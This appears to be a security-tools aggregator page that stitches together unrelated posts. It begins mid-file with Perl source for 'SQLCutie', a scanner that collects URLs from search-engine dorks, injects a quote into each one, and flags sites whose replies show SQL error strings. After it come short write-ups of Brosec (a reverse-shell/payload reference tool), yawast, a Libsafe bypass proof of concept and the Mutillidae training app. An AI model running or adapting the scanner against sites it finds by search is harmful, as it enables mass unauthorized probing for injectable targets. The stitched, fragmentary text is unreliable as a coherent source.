        if ($ARGV[$i] eq "-o"){$vulnf = $ARGV[$i+1]}
        if ($ARGV[$i] eq "-p"){$proxy = $ARGV[$i+1]}
	if ($ARGV[$i] eq "-h"){&help}
	if ($ARGV[$i] eq "-r"){&readme}
	if ($ARGV[$i] eq "-dh"){&dorkhelp}
	if ($ARGV[$i] eq "-ph"){&proxyhelp}
	if ($ARGV[$i] eq "-u"){&update}
	if ($ARGV[$i] eq "-t"){&tor}
	if ($ARGV[$i] eq "-c"){&conte}
        $i++;
	}
}


sub main
{
	system('clear');
	
	print title;
	print BOLD,"\n For pentesting and educational purposes only\n",RESET;
	print GREEN, " \n--------------------------------------\n";
	print BOLD," \n    SQLCutie ",YELLOW,"1.8a\n",RESET;
	print BLUE,"       madfedora\@protomail.ch\n",RESET;
	print GREEN," \n--------------------------------------\n\n",RESET;
	if (@ARGV+1){print GREEN,"[?] For Help : ",BOLD,"$0 -h\n\n",RESET;}
}

sub vulnscanner
{
     checksearch();
     search1($search_dork);
     search2($search_dork);
}
sub checksearch
{
	my $request   = HTTP::Request->new(GET => "http://www.ask.com/web?q=$search_dork&page=1");
	my $useragent = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/531.7.2 (KHTML, like Gecko) Version/5.1 Safari/531.7.2');
	$useragent->proxy("http", "http://$proxy/") if defined($proxy);
	my $response  = $useragent->request($request) ;
	my $result    = $response->content;
}         

sub search1
{
     my $dork  = $_[0];
     for ($i=1;$i<10;$i=$i+1)
     {
	my $request   = HTTP::Request->new(GET => "http://www.ask.com/web?q=$dork&page=$i");
        my $useragent = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/531.7.2 (KHTML, like Gecko) Version/5.1 Safari/531.7.2');
        $useragent->proxy("http", "http://$proxy/") if defined($proxy);
        my $response  = $useragent->request($request) ;
        my $result    = $response->content;
	while ($result =~ m/<a class="web-result-title-link\" href=\"(.*?)\" onmousedown=\"uaction/g)
         {
             print BLUE, "[!] Scanning > $1\n", RESET;     
             checkvuln($1)
         }
     }                  
}
sub search2
{
     my $dork  = $_[0];
     for ($i=1;$i<50;$i++)
     {
	my $request   = HTTP::Request->new(GET => "http://www.bing.com/search?q=$dork&go=&filt=all&first=$i");
	my $useragent = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/531.7.2 (KHTML, like Gecko) Version/5.1 Safari/531.7.2');
        $useragent->proxy("http", "http://$proxy/") if defined($proxy);
        my $response  = $useragent->request($request) ;
        my $result    = $response->content;
	while ($result =~ m/class=\"b_algo\"><h2><a href=\"(.*?)\" h="\ID=SERP/g)
	{
        	my $dorkurl ="http://".$3 ;
        	print BLUE, "[!] Scanning > $dorkurl\n",RESET;
        	checkvuln($dorkurl);
        }
     }
}

sub checkvuln
{
     my $urlscan   = $_[0];
     my $link       = $urlscan.('\'');
     my $ua         = LWP::UserAgent->new();
     $ua->proxy("http", "http://$proxy/") if defined($proxy);
     my $req        = $ua->get($link);
     my $fz       = $req->content;
#-----------------------------------------------------------#
#      PHP MySQL                                            #
#-----------------------------------------------------------#
     if ($fz =~ m/mysql_num_rows/i)

     {
	print BOLD, GREEN, "[!] {MySQL} Num Row -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL Num Row] $urlscan\n");
         }
     }

     elsif ($fz =~ m/mysql_fetch_/i || $fz =~ m/mysql_fetch_array/i || $fz =~ m/FetchRow()/i|| $fz =~ m/GetArray()/i || $fz =~ m/FetchRow(.*)/i|| $fz =~ m/GetArray(.*)/i)
     {
         print BOLD, GREEN, "[!] {MySQL} Fetch -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
		push (@vuln1,"[MySQL Fetch] $urlscan\n");
         }
     }

     elsif ($fz =~ m/user_error(.*,E_USER_ERROR.*)/i || $fz =~ m/user_error(.*,E_USER_WARNING.*)/i|| $fz =~ m/trigger_error(.*,E_USER_ERROR.*)/i || $fz =~ m/trigger_error(.*,E_USER_WARNING.*)/i )
     {
         print BOLD, GREEN, "[!] {MySQL} User/Trigger Error -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
		push (@vuln1,"[MySQL User/Trigger Error] $urlscan\n");
         }
     }

     elsif ($fz =~ m/set_error_handler(.*)/i)
     {
         print BOLD, GREEN, "[!] {MySQL} Error Handler -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
		push (@vuln1,"[MySQL Error Handler] $urlscan\n");
         }
     }


#-----------------------------------------------------------#
#      MySQL                                                #
#-----------------------------------------------------------#

     elsif ($fz =~ m/Unexpected EOF found when reading file/i)
     {
         print BOLD, GREEN, "[!] {MySQL} 1039 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL 1039] $urlscan\n");
         }
     }

     elsif ($fz =~ m/Triggers cannot be created on system tables/i)
     {
         print BOLD, GREEN, "[!] {MySQL} 1465 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL 1465] $urlscan\n");
         }
     }
     elsif ($fz =~ m/Can't get working directory/i)
     {
         print BOLD, GREEN, "[!] {MySQL} 1015 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL 1015] $urlscan\n");
         }
     }
     elsif ($fz =~ m/You have an error in your SQL syntax/i || $fz =~ m/Query failed/i || $fz =~ m/SQL query failed/i)
     {
         print BOLD, GREEN, "[!] {MySQL} 1064 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL 1064] $urlscan\n");
         }
     }
     elsif ($fz =~ m/The used SELECT statements have a different number of columns/i)
     {
         print BOLD, GREEN, "[!] {MySQL} 1222 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL 1222] $urlscan\n");
         }
     }
	elsif ($fz =~ m/mysql_fetch_object()/i)
     {
         print BOLD, GREEN, "[!] {MySQL} mysql_fetch_object() -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL fetch_object] $urlscan\n");
         }
     }
	elsif ($fz =~ m/pg_connect()/i)
     {
         print BOLD, GREEN, "[!] {MySQL} pg_connect()  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL pg_connect] $urlscan\n");
         }
     }
	elsif ($fz =~ m/SQL command not properly ended/i)
     {
         print BOLD, GREEN, "[!] {MySQL} command  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL command] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Warning: include/i)
     {
         print BOLD, GREEN, "[!] {MySQL} include  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL include] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Warning: main/i)
     {
         print BOLD, GREEN, "[!] {MySQL} main  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL main] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Warning: pg_exec/i)
     {
         print BOLD, GREEN, "[!] {MySQL} pg_exec  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL pg_exec] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Warning: ocifetchstatement/i)
     {
         print BOLD, GREEN, "[!] {MySQL} ocifetchstatement  -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln1,"[MySQL ocifetchstatement] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      MsSQL                                                #
#-----------------------------------------------------------#
     elsif ($fz =~ m/Microsoft OLE DB Provider for SQL Server/i || $fz =~ m/Unclosed quotation mark/i || $fz =~ m/OLE\/DB provider returned message/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} Microsoft OLE DB -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL OLEDB] $urlscan\n");
         }
     }

     elsif ($fz =~ m/ORDER BY items must appear in the select list if the statement contains a UNION operator/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 104 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 104] $urlscan\n");
         }
     }

     elsif ($fz =~ m/The column prefix.*does not match with a table name or alias name used in the query/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 107 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 107] $urlscan\n");
         }
     }

     elsif ($fz =~ m/The ORDER BY position number.*is out of range of the number of items in the select list/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 108 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 108] $urlscan\n");
         }
     }
     elsif ($fz =~ m/There are more columns in the INSERT statement than values specified in the VALUES clause/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 109 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 109] $urlscan\n");
         }
     }

     elsif ($fz =~ m/There are fewer columns in the INSERT statement than values specified in the VALUES clause/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 110 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 110] $urlscan\n");
         }
     }

     elsif ($fz =~ m/Missing end comment mark '\*\/'/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 113 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 113] $urlscan\n");
         }
     }

     elsif ($fz =~ m/A GOTO statement references the label '.*' but the label has not been declared/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 133 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 133] $urlscan\n");
         }
     }

     elsif ($fz =~ m/Could not load sysprocedures entries for constraint ID.*in database ID/i)
     {
         print BOLD, GREEN, "[!] {MsSQL} 427 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MsSQL 427] $urlscan\n");
         }
     }

#-----------------------------------------------------------#
#      Access                                               #
#-----------------------------------------------------------#
     elsif ($fz =~ m/ODBC SQL Server Driver/i || $fz =~ m/ODBC Microsoft Access Driver/i || $fz =~ m/OLE DB Provider for ODBC/i)
     {
         print BOLD, GREEN, "[!] {Access} Microsoft ODBC -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln3,"[ODBC] $urlscan\n");
         }
     }

     elsif ($fz =~ m/Microsoft JET Database/i)
     {
         print BOLD, GREEN, "[!] {Access} Microsoft JET -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln3,"[JET DB] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      ADO DB                                               #
#-----------------------------------------------------------#
	elsif ($fz =~ m/Invalid Querystring/i)
     {
         print BOLD, GREEN, "[!] {ADO DB} Invalid Querystring -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[ADO DB Query] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ADODB.Field/i)
     {
         print BOLD, GREEN, "[!] {ADO DB} Field -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[ADO DB Field] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ADODB.Command/i )
     {
         print BOLD, GREEN, "[!] {ADO DB} Command -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[ADO DB Command] $urlscan\n");
         }
     }
	elsif ($fz =~ m/BOF or EOF/i)
     {
         print BOLD, GREEN, "[!] {ADO DB} BOF or EOF -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[BOF or EOF] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      VBS Runtime (Minor)                                  #
#-----------------------------------------------------------#
     elsif ($fz =~ m/VBScript Runtime/i)
     {
         print BOLD, GREEN, "[!] VBScript Runtime -> $urlscan\n", RESET;
	 print BOLD, YELLOW "[x] Non-Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[VBScript] $urlscan\n");
         }
     }

#-----------------------------------------------------------#
#      PostgreSQL                                           #
#-----------------------------------------------------------#
	elsif ($fz =~ m/postgresql.util/i || $fz =~ m/psql: FATAL/i || $fz =~ m/ERROR: invalid input syntax for integer/i )
     {
         print BOLD, GREEN, "[!] {PostgreSQL} Fatal Error -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre Fatal Error] $urlscan\n");
         }
     }
	elsif ($fz =~ m/dynamic_result_sets_returned/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 0100C -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 0100C] $urlscan\n");
         }
     }
	elsif ($fz =~ m/null_value_eliminated_in_set_function/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 1003 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 1003] $urlscan\n");
         }
     }

	elsif ($fz =~ m/string_data_right_truncation/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 1004 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 1004] $urlscan\n");
         }
     }
	elsif ($fz =~ m/deprecated_feature/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 01P01 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 01P01] $urlscan\n");
         }
     }
	elsif ($fz =~ m/sql_statement_not_yet_complete/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 3000 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 3000] $urlscan\n");
         }
     }
	elsif ($fz =~ m/connection_does_not_exist/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 8003 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 8003] $urlscan\n");
         }
     }

	elsif ($fz =~ m/connection_failure/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 8006 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 8006] $urlscan\n");
         }
     }

	elsif ($fz =~ m/sqlserver_rejected_establishment_of_sqlconnection/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 8004 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 8004] $urlscan\n");
         }
     }

	elsif ($fz =~ m/no_additional_dynamic_result_sets_returned/i)
     {
         print BOLD, GREEN, "[!] {PostgreSQL} 2001 -> $urlscan\n", RESET;
	 print BOLD, WHITE "[*] Critical\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Postgre 2001] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      Oracle                                               #
#-----------------------------------------------------------#
	elsif ($fz =~ m/oracle.jdbc/i || $fz =~ m/system.data.oledb/i )
     {
         print BOLD, GREEN, "[!] {JDBC} -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[JDBC] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      Sybase                                               #
#-----------------------------------------------------------#
	elsif ($fz =~ m/Warning: sybase_query()/i || $fz =~ m/sybase_fetch_assoc()/i )
     {
         print BOLD, GREEN, "[!] {Sybase} Query/Fetch -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[Sybase Query/Fetch] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      MariaDB                                              #
#-----------------------------------------------------------#
	elsif ($fz =~ m/ERROR 1712 (HY000)/i )
     {
         print BOLD, GREEN, "[!] {MariaDB} Index Corruption -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MariaDB Index] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ER_QUERY_EXCEEDED_ROWS_EXAMINED_LIMIT/i )
     {
         print BOLD, GREEN, "[!] {MariaDB} Query Excecution Corrupted -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MariaDB Query Exe] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ER_QUERY_CACHE_IS_GLOBALY_DISABLED/i )
     {
         print BOLD, GREEN, "[!] {MariaDB} Query cache is globally disabled -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MariaDB Query Cache] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ER_DYN_COL_IMPLEMENTATION_LIMIT/i )
     {
         print BOLD, GREEN, "[!] {MariaDB} Dynamic column implementation limit -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[MariaDB Dynamic Col] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      IBM DB2                                              #
#-----------------------------------------------------------#
	elsif ($fz =~ m/The processing of the CONNECT statement at a DB2 remote server has failed/i)
     {
         print BOLD, GREEN, "[!] {IBM DB2} 00D30021 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[DB2 00D30021] $urlscan\n");
         }
     }

	elsif ($fz =~ m/DB2 cannot connect to a group buffer pool/i)
     {
         print BOLD, GREEN, "[!] {IBM DB2} 00C20203 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[DB2 00C20203] $urlscan\n");
         }
     }
	elsif ($fz =~ m/An error was detected in the command that was used to start the/i)
     {
         print BOLD, GREEN, "[!] {IBM DB2} 00E80051 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[DB2 00E80051] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Oracle DB2/i)
     {
         print BOLD, GREEN, "[!] {IBM DB2} Oracle DB2 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[DB2 Oracle] $urlscan\n");
         }
     }
	elsif ($fz =~ m/Oracle ODBC/i)
     {
         print BOLD, GREEN, "[!] {IBM DB2} Oracle ODBC -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[DB2 ODBC] $urlscan\n");
         }
     }


#-----------------------------------------------------------#
#      PHP PDO                                              #
#-----------------------------------------------------------#
	elsif ($fz =~ m/SQLSTATE[42000] [1049] Unknown database/i )
     {
         print BOLD, GREEN, "[!] {PHP PDO} 1049 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[PHP PDO 1049] $urlscan\n");
         }
     }
	elsif ($fz =~ m/SQLSTATE[28000] [1045] Access denied for user/i )
     {
         print BOLD, GREEN, "[!] {PHP PDO} 1045 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[PHP PDO 1045] $urlscan\n");
         }
     }
#-----------------------------------------------------------#
#      Coldfusion                                           #
#-----------------------------------------------------------#
	elsif ($fz =~ m/Error Executing Database Query/i)
     {
         print BOLD, GREEN, "[!] {Coldfusion} Error Executing DB -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[CFM] $urlscan\n");
         }
     }
	elsif ($fz =~ m/ORA-01756/i )
     {
         print BOLD, GREEN, "[!] {Coldfusion} JDBC ORA-01756 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[CFM ORA-01756] $urlscan\n");
         }
     }
     elsif ($fz =~ m/ORA-00921/i )
     {
         print BOLD, GREEN, "[!] {Coldfusion} JDBC ORA-00921 -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[CFM ORA-00921] $urlscan\n");
         }
     }
     elsif ($fz =~ m/error ORA-/i )
     {
         print BOLD, GREEN, "[!] {Coldfusion} JDBC Generic -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[CFM Misc] $urlscan\n");
         }
     }
     elsif ($fz =~ m/JDBC Oracle/i )
     {
         print BOLD, GREEN, "[!] {Coldfusion} JDBC Oracle -> $urlscan\n", RESET;
         if (defined($vulnf))
         { 
             push (@vuln2,"[CFM JDBC Oracle] $urlscan\n");
         }
     }
}

variables();
main();

if (defined($search_dork))
{
     print GREEN,BOLD,"[+] Dork        : ",YELLOW,"$search_dork\n";
		  print GREEN,"[+] Proxy       : ",YELLOW,"$proxy\n";
		  print GREEN,"[+] Output File : ",YELLOW,"$vulnf\n";
		  print YELLOW,"[!] Press Ctrl C to Exit\n";
		  print "[!] ",UNDERLINE,"Beware of False Positive\n\n",RESET;
     vulnscanner();
     if (defined($vulnf))
     {
	 
         open(vuln_file,">>$vulnf") ;
         print vuln_file @vuln1;
         print vuln_file @vuln2;
         print vuln_file @vuln3;
         close(vuln_file);
         print YELLOW,"[+] Result Saved to $vulnf\n",RESET;
         exit();
     }
}
#-----------------------------------------------------------#
#      End                                                  #
#-----------------------------------------------------------#

Source : https://github.com/madfedora

Changelog v0.2 (Feb 15, 2016):
++ Features
– bros ftp
– New feature added to allow for a simple (insecure) ftp server which allows download/upload of the current directory via anonymous

++ connections.
– bros set lhost
– This feature (ran from the command line) will help you set the LHOST variable by prompting you with the available list of network +++

++ interfaces.
+ Dependencies
– ftpd (nodejs module)
– Required for the bros ftp feature

Brosec – An interactive reference tool to help security professionals utilize useful payloads and commands.

Brosec – Console

Overview :
– Brosec is a RTFM-like utility to help Security Bros remember complex but useful payloads and commands
– Brosec utilizes saved variables (set by you) to create custom payloads on the fly. This config info is stored in a local db for your convenience
– Brosec outputs payloads and copies it to your clipboard in order to make your pentesting even more magical
– Your current config can be accessed by the config command at any time, or by entering the variable name
– Config values can be changed at any time by entering set <variable> <value>
– You can navigate to frequently used payloads by entering the menu sequence from the command line: bros <sequence>
Ex: bros 412 – This would automate entering 4 for the Web Menu, 1 for the XXE sub menu, and 3 for the XXE local file read payload

Installation
Mac
+ brew install node netcat – Install Nodejs and netcat (or nc, ncat, etc)
+ git clone https://github.com/gabemarshall/Brosec.git – Clone Brosec repo
+ cd Brosec && npm install – cd into the directory and install npm depdendencies

Linux
+ <package manager> install node build-essential g++ xsel netcat Install Nodejs and other dependencies
+ git clone https://github.com/gabemarshall/Brosec.git – Clone Brosec repo
+ cd Brosec && npm install – cd into the directory and install npm depdendencies

Windows (Unsupported)
+ Install nodejs
+ Install ncat
+ git clone https://github.com/gabemarshall/Brosec.git – Clone Brosec repo
Payloads that utilize netcat will not work due to the kexec library not being supported in Windows

Configuration:
Brosec stores configuration values in a local json db file. The default storage location is /var/tmp, but can be changed by editing settings.dbPath variable in the settings.js file. Brosec also uses netcat for several payloads. If needed, the path to netcat can be altered via the settings.netcat variable.
Payload Variables;
+ LHOST : Local IP or name
+ LPORT : Local IP or name
+ RHOST : Remote IP or name
+ RPORT : Remote IP or name
+ USER : Username (only used in a few payloads)
+ PROMPT : User Prompt (This isn’t a stored value. Instead, payloads with this variable will prompt for input.)

Download : Master.zip  | Clone Url | Our Post before
Source : https://github.com/gabemarshall

This application is still very much in the early development phase; as such it should be viewed as alpha software, and thus may have bugs, perform unexpectedly, or be missing features you’d expect from a tool like this. Please keep this in mind as you use this.

yawast

Why?
Because.
This is meant to provide a easy way to perform initial analysis and information discovery. It’s not a full testing suite, and it certainly isn’t Metasploit. The idea is to provide a quick way to perform initial data collection, which can then be used to better target further tests

Latest Change 5/2/2016:
+ travil.yml : Build for 2.2.4 as well
+ test, Gemfile, Gemfile.lock : update gems.
+ Switch to using .ruby-version

Tests
The following tests are performed:
+ (Generic) Info Disclosure: X-Powered-By header present
+ (Generic) Info Disclosure: X-Pingback header present
+ (Generic) Info Disclosure: X-Backend-Server header present
+ (Generic) Info Disclosure: X-Runtime header present
+ (Generic) Info Disclosure: Via header present
+ (Generic) X-Frame-Options header not present
+ (Generic) X-XSS-Protection disabled header present
+ (Generic) SSL: HSTS not enabled
+ (Generic) Source Control: Common source control directories present
+ (Generic) Presence of crossdomain.xml or clientaccesspolicy.xml
+ (Generic) Presence of WS_FTP.LOG
+ (Apache) Info Disclosure: Module listing enabled
+ (Apache) Info Disclosure: Server version
+ (Apache) Info Disclosure: OpenSSL module version
+ (Apache) Presence of /server-status
+ (Apache) Presence of /server-info
+ (IIS) Info Disclosure: Server version
+ (ASP.NET) Info Disclosure: ASP.NET version
+ (ASP.NET) Info Disclosure: ASP.NET MVC version
+ (ASP.NET) Presence of Trace.axd
+ (ASP.NET) Presence of Elmah.axd
+ (nginx) Info Disclosure: Server version
+ (PHP) Info Disclosure: PHP version
+ CMS Detection: Generic (Generator meta tag) [Real detection coming as soon as I get around to it…]
++ SSL Information:
– Certificate details
– Certification chain
– Supported Chippers
In addition to these tests, certain basic information is also displayed, such as IPs (and the PTR record for each IP), HTTP HEAD request, and others

Usage:

makesure you have ruby language
git clone https://github.com/adamcaudill/yawast && cd yawast
gem install bundler
bundle install

update
git pull origin master

Source: https://github.com/adamcaudill

Libsafe Multi-threaded Process Race Condition Security Bypass Weakness implementations.
Latest change 6/2/2016: add legend to figure.
Libsafe will normally kill an application when certain types of memory corruption are detected, preventing exploitation of some buffer overflow and format string vulnerabilities. A weakness has been reported that may allow Libsafe security failsafe mechanisms to be bypassed.
This vulnerability is due to a race condition that may be exposed when Libsafe is used with multi-threaded applications. The result is that Libsafe security features may be bypassed and an attack that would ordinarily be prevented may succeed. It should be noted that this is an implementation error in Libsafe that does not present a security risk unless there is a memory corruption vulnerability in a multi-threaded application on an affected computer.

an example object dump from thread.

Libsafe only works on 32-bit architectures; 
1) make build: Builds Libsafe, compiles the proof of concept exploit ‘thread’, and compiles the library interposition code ‘interpose.so’.
make random MAX_DELAY=x: Randomizes the interposed delays in ‘interpose.so’ with miximum delay MAX_DELAY per interposition.
2) bug.sh: Runs the PoC exploit ‘thread’ in an environment that preloads Libsafe.
3) repeatbug.py: Runs bug.sh 1000 times and reports the number of times that Libsafe worked properly.
4) bug-interpose.sh: Runs the PoC exploit in an environment that preloads Libsafe as well as the library interposition code ‘interpose.so’
5) repeatbug-interpose.py: Runs bug-interpose.sh 1000 times and reports the number of times that Libsafe worked properly.
6) gen_interpose.py: Generates interpose.c based off the function prototypes listed in ‘func_names.txt’.

thread

usage:

git clone https://github.com/tagatac/libsafe-CVE-2005-1125
cd libsafe-CVE-2005-1125
make
and run step by step.

Source: http://www.securityfocus.com/bid/13190/info | https://github.com/tagatac

ChangeLog for OWASP Mutillidae II 2.6.36:
+ Added video tutorials for Burp-Suite into hints
+ Added more “secret” pages. This is done by adding page names to index.php that trigger Mutillidae to load the phpinfo page
+ Added CSS selector and a style to phpinfo.php page to better format the php info page to fix various screen sizes
+ Minor bug in one of the YouTube video names
+ Added new videos into hints: How to Show hints in security level 5, Introduction to Password Cracking with John the Ripper, Introduction to Fuzzing Web Applications with Burp-Suite Intruder Tool, How to Show Secret Page in Security Level 5
+ Added video tutorials to Secret Administrative Pages hint
+ Minor repair of formatting on some hint pages
+ Improved hints in robots.txt hint
+ Added video tutorials to Remote File Inclusion hint
+ Added video tutorials to Platform Path Disclosure hint
+ Added video tutorials to IDOR hint
+ Added video tutorials to Insufficient TLS hint
+ Added video tutorials to DOM injection hint
+ Added video tutorials to Directory browsing hint
+ Added video tutorials to XSS hint
+ Added video tutorials to Authenctication Bypass hint
+ Added video tutorials to application log injection hint
+ Added video tutorials to application path disclosure hint

OWASP Mutillidae II is a free, open source, deliberately vulnerable web-application providing a target for web-security enthusiest. Mutillidae can be installed on Linux and Windows using LAMP, WAMP, and XAMMP for users who do not want to administrate a webserver. It is pre-installed on SamuraiWTF, Rapid7 Metasploitable-2, and OWASP BWA. The existing version can be updated on pre-installed platforms. With dozens of vulns and hints to help the user; this is an easy-to-use web hacking environment designed for labs, security enthusiast, classrooms, CTF, and vulnerability assessment tool targets. Mutillidae has been used in graduate security courses, corporate web sec training courses, and as an “assess the assessor” target for vulnerability assessment software.

Features

• Has over 35 vulnerablities and challenges. Contains at least one vulnearbility for each of the OWASP Top Ten 2007 and 2010
• Actually Vulnerable (User not asked to enter “magic” statement)
• Mutillidae can be installed on Linux, Windows XP, and Windows 7 using XAMMP making it easy for users who do not want to install or administrate their own webserver. Mutillidae is confirmed to work on XAMPP, WAMP, and LAMP. XAMPP is the “default” deployment.
• Installs easily by dropping project files into the “htdocs” folder of XAMPP.
• Will attempt to detect if the MySQL database is available for the user
• Preinstalled on Rapid7 Metasploitable 2, Samurai Web Testing Framework (WTF), and OWASP Broken Web Apps (BWA)
• Contains 2 levels of hints to help users get started
• Includes bubble-hints to help point out vulnerable locations
• Bubble-hints automatically give more information as hint level incremented
• System can be restored to default with single-click of “Setup” button
• User can switch between secure and insecure modes
• Secure and insecure source code for each page stored in the same PHP file for easy comparison
• Provides data capture page and stores captured data in database and file
• Allows SSL to be enforced in order to practice SSL stripping
• Used in graduate security courses, in corporate web sec training courses, and as an “assess the assessor” target for vulnerability software
